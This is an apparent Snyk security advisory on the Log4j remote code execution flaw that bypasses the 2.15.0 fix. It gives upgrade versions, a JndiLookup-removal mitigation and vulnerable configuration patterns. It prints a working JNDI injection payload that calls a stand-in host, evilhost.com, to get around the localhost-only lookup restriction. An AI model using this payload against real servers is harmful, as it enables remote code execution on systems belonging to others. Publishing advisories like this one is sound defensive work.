Snyk has a published code exploit for this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learningUpgrade org.apache.logging.log4j:log4j-core
to version 2.3.1, 2.12.2, 2.16.0 or higher.
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) if one of the following conditions is met:
%m{lookups}
as formatMsgNoLookups
is switched on by default as of version 2.15.0.Logger.printf("%s", userInput)
function where attackers can control the userInput variable.A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}
.
We recommend updating to version 2.16.0 which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup
class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
).
In config:
<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
In code:
ThreadContext.put("loginId", UserControlledInput);
This vulnerability was previously assigned a CVSS score of 3.7 (Low), and the impact was believed to be Denial of Service (DoS).
Furthermore, the advisory previously mentioned Thread Context Map patterns (%X, %mdc, or %MDC) as being vulnerable to this issue, but that has since been proven wrong.
On December 17, 2021 new information came to light, demonstrating that an Arbitrary Code Execution vulnerability still exists in version 2.15.0 of Log4j due to a bypass to the localhost-only lookup mechanism.